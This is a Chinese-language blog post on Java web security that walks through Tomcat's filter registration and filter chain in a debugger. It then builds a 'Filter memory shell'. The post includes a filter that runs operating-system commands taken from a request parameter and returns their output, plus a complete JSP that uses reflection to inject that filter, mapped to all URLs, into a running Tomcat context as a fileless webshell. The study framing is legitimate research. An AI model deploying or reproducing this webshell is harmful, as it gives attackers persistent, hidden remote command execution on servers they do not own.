# 前言

书接上回,这篇接着记录 Tomcat 内存马中的 Filter 内存马

# Filter 调试

在上一篇中已经介绍过有关 Filter,这里可以直接去看 Servlet 内存马 - java 安全 | Clown の Blog = (xcu.icu) 上一篇中的内容,这里不在赘述。

这里还是调试一下这个流程

<dependency>
          <groupId>org.apache.tomcat</groupId>
          <artifactId>tomcat-catalina</artifactId>
          <version>9.0.71</version>
          <scope>provided</scope>
      </dependency>
      <dependency>
          <groupId>org.apache.tomcat</groupId>
          <artifactId>tomcat-websocket</artifactId>
          <version>9.0.38</version>
      </dependency>

这里为了能完整调试这里需要导入上面两个包

这里的还是使用上一篇汇总的 filter 过滤器

package clown.memoryhorse;
import javax.servlet.*;
import java.io.IOException;
/**
 * @BelongsProject: MemoryHorse
 * @BelongsPackage: clown.memoryhorse
 * @Author: Clown
 * @CreateTime: 2023-11-02  10:43
 */
public class MyFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter ==== Init");
        Filter.super.init(filterConfig);
    }
    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("Filter ==== doFilter");
        filterChain.doFilter(servletRequest, servletResponse); // 执行目标资源,放行
    }
    @Override
    public void destroy() {
        System.out.println("Filter ==== destroy");
        Filter.super.destroy();
    }
}

然后在 pom.xml 里绑定一下

image-20231107140027640

# 过滤器注册

image-20231107161241705

实际上还是在 web.xml 实解析后的配置 org.apache.catalina.startup.ContextConfig#configureContext 方法中

image-20231107145002139

直接将断点下在这个 configureContext 方法中的这个获取 filter 这个 for 循环这里

image-20231107154524448

这里可以看见,这里会获取这个 filtername,然后检查是不是为空,如果不为空回调用 context.addFilterDef 方法及拿过这个 filter 添加到 context 中,这里跟进

image-20231107154707604

这里实际上调用的是 StandardContext 的 addFilterDef 方法,将当前的 filter 添加到 context 中

<filter>
        <filter-name>myFilter</filter-name>
        <filter-class>clown.memoryhorse.MyFilter</filter-class>
    </filter>

这里实际上对应的是上面这个定义过滤器的部分

image-20231107154904435

然后进到第二个 filter 相关的循环中

image-20231107155023699

这个实际上就是映射过滤器的过程

image-20231107155137464

跟进到这里,还是这个 StandardContext 类中的方法

<filter-mapping>
        <filter-name>myFilter</filter-name>
        <!--“/*” 表示拦截所有的请求 -->
        <url-pattern>/*</url-pattern>
    </filter-mapping>

对应这个映射的过程

# 过滤器触发后

将断点下在 filterChain.doFilter 访问 hello-servlet 便可以开始调试了

image-20231107140344813

这里会调用 ApplicationFilterChain 的 doFilter 方法,这里会先判断全局安全服务是否开启

image-20231107140546905

具体的处理过程是在 internalDoFilter 方法中

image-20231107140637852

这里也没有跳转到其他类,还是在当前类中。这里如果有下一个 filter 会继续调用

image-20231107141000396

这里的 filter 是从这个 filters [pos++] 数组类获取的

image-20231107141041365

其定义如上图所示,这里看一下当前的上下文

image-20231107141145285

实际上这里是有两个 filters 的,这里的 0 是我们自定义的一个 filters,这个 1 是 tomcat 自带的 filter,因为此时 pos 是 1 所以取到 tomcat 的 filter。

image-20231107141416950

我们继续往里走,这里就调用了 tomcat 的 filter 的 doFilter () 方法

image-20231107141504312

这里的 chain.doFilter 又会调用到 ApplicationFilterChain#doFilter 方法

这里其实是一个 filter 链,简单来说代码会通过上面这种循环的方式去获取到所有的 filter

因为这里只有一个 filter 所以这里已经是最后一次了。这里直接到 internalDoFilter 方法中

image-20231107142802572

最后会调用 servlet 的 service 方法,到这里整个 filter 流程就结束了

# Filter 内存马

# 使用 filter 执行命令

还是先看一下,正常写一个恶意的 filter 来执行命令怎么操作

package clown.memoryhorse;
import javax.servlet.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
/**
 * @BelongsProject: MemoryHorse
 * @BelongsPackage: clown.memoryhorse
 * @Author: Clown
 * @CreateTime: 2023-11-07  17:27
 */
public class TestFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        Filter.super.init(filterConfig);
    }
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String command = request.getParameter("cmd");
        if (command != null && !command.isEmpty()) {
            // 执行带参数的系统命令
            try {
                Process process = Runtime.getRuntime().exec(command);
                process.waitFor();
                // 读取命令输出并将其回显到浏览器页面
                BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                String line;
                while ((line = reader.readLine()) != null) {
                    response.getWriter().write(line + "\n");
                }
                reader.close();
            } catch (Exception e) {
                response.getWriter().write("Error executing command: " + e.getMessage());
            }
        } else {
            response.getWriter().write("No command provided.");
        }
        // 继续处理其他 Filter 和 Servlet
        chain.doFilter(request, response);
    }
    @Override
    public void destroy() {
        Filter.super.destroy();
    }
}

然后将其绑定

<filter>
        <filter-name>TestFilter</filter-name>
        <filter-class>clown.memoryhorse.TestFilter</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>TestFilter</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

image-20231108130058191

# 内存马

这里就和前面 Servlet 的流程差不多了

ServletContext servletContext = request.getServletContext();
    Field applicatiooncontextfield = servletContext.getClass().getDeclaredField("context");
    applicatiooncontextfield.setAccessible(true);
    ApplicationContext applicatiooncontext = (ApplicationContext) applicatiooncontextfield.get(servletContext);
    Field context = applicatiooncontext.getClass().getDeclaredField("context");
    context.setAccessible(true);
    StandardContext standardContext = (StandardContext) context.get(applicatiooncontext);

还是先获取 StandardContext,然后根据上面的注册,分别调用 addFilterDef 和 addFilterMap 方法

image-20231107154524448

根据上图中所需要的信息有如下代码块

FilterDef filterDef = new FilterDef();// 创建一个 FilterDef 实例
    filterDef.setFilter(new FilterShell());// 设置 filter 为当前的 filter
    filterDef.setFilterClass(FilterShell.class.getName());// 设置对应的 filterclass
    filterDef.setFilterName("FilterShell");// 设置对应的 FilterName
    standardContext.addFilterDef(filterDef);// 将 FilterDef 添加到 context 中

image-20231107155023699

根据上图中所需要的信息有如下代码块

FilterMap filterMap = new FilterMap();
    filterMap.setFilterName("FilterShell");// 设置对应的 FilterName
    filterMap.addURLPattern("/*");// 绑定对应的路径
    filterMap.setDispatcher(DispatcherType.REQUEST.name());// 设置分派类型,REQUEST 表示普通的 HTTP 请求
    standardContext.addFilterMapBefore(filterMap);// 将 FilterMap 添加到 filter 链最前面

image-20231108134557628

按照我们上面分析的流程来说到这里就已经可以命令执行了,但是很显然上图中是没有执行成功的,其实问题也很显而易见的。在过滤器链触发后的分析可以发现问题

image-20231108135326684

这里从 filters 获取过滤器后赋值给 filterConfig,而这个 filter 又是 ApplicationFilterConfig。ApplicationFilterConfig 这个类 ApplicationFilterConfig 了 FilterConfig。简单来说上面我们构造的内容缺少了 FilterConfig

// 反射获取 filterconfig
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Condition.class,FilterDef.class);
    constructor.setAccessible(true);
    constructor.newInstance(standardContext,filterDef);

这样就获取到了 filterconfig,但是还没完

image-20231108171434874

而在 StandardContext 中又会调用 filterConfigs.put 将这个 filterConfig 添加到 filterConfigs 中

image-20231108171855740

这里再通过反射获取 filterConfigs

// 反射获取 filterConfigs
    Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigs.setAccessible(true);
    Map configs = (Map) filterConfigs.get(standardContext);
    configs.put("FilterShell",filterConfig);

这样就可以了,完整的内存马

<%@ page import="java.io.IOException" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.util.concurrent.locks.Condition" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Map" %>
<%@ page import="org.apache.catalina.Context" %><%--
  Created by IntelliJ IDEA.
  User: Clown
  Date: 11/8/2023
  Time: 1:11 PM
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
<%!
    public class FilterShell implements Filter {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
            Filter.super.init(filterConfig);
        }
        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
            String command = request.getParameter("filtershell");
            if (command != null && !command.isEmpty()) {
                // 执行带参数的系统命令
                try {
                    Process process = Runtime.getRuntime().exec(command);
                    process.waitFor();
                    // 读取命令输出并将其回显到浏览器页面
                    BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
                    String line;
                    while ((line = reader.readLine()) != null) {
                        response.getWriter().write(line + "\n");
                    }
                    reader.close();
                } catch (Exception e) {
                    response.getWriter().write("Error executing command: " + e.getMessage());
                }
            } else {
                response.getWriter().write("No command provided.");
            }
            // 继续处理其他 Filter 和 Servlet
            chain.doFilter(request, response);
        }
        @Override
        public void destroy() {
            Filter.super.destroy();
        }
    }
%>
<%
    ServletContext servletContext = request.getServletContext();
    Field applicatiooncontextfield = servletContext.getClass().getDeclaredField("context");
    applicatiooncontextfield.setAccessible(true);
    ApplicationContext applicatiooncontext = (ApplicationContext) applicatiooncontextfield.get(servletContext);
    Field context = applicatiooncontext.getClass().getDeclaredField("context");
    context.setAccessible(true);
    StandardContext standardContext = (StandardContext) context.get(applicatiooncontext);
    FilterDef filterDef = new FilterDef();// 创建一个 FilterDef 实例
    filterDef.setFilter(new FilterShell());// 设置 filter 为当前的 filter
    filterDef.setFilterClass(FilterShell.class.getName());// 设置对应的 filterclass
    filterDef.setFilterName("FilterShell");// 设置对应的 FilterName
    standardContext.addFilterDef(filterDef);// 将 FilterDef 添加到 context 中
    FilterMap filterMap = new FilterMap();
    filterMap.setFilterName("FilterShell");// 设置对应的 FilterName
    filterMap.addURLPattern("/*");// 绑定对应的路径
    filterMap.setDispatcher(DispatcherType.REQUEST.name());// 设置分派类型,REQUEST 表示普通的 HTTP 请求
    standardContext.addFilterMapBefore(filterMap);// 将 FilterMap 添加到 filter 链最前面
    // 反射获取 filterconfig
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor.setAccessible(true);
    FilterConfig filterConfig = (FilterConfig) constructor.newInstance(standardContext,filterDef);
    // 反射获取 filterConfigs
    Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigs.setAccessible(true);
    Map configs = (Map) filterConfigs.get(standardContext);
    configs.put("FilterShell",filterConfig);
%>
</body>
</html>

image-20231108174304419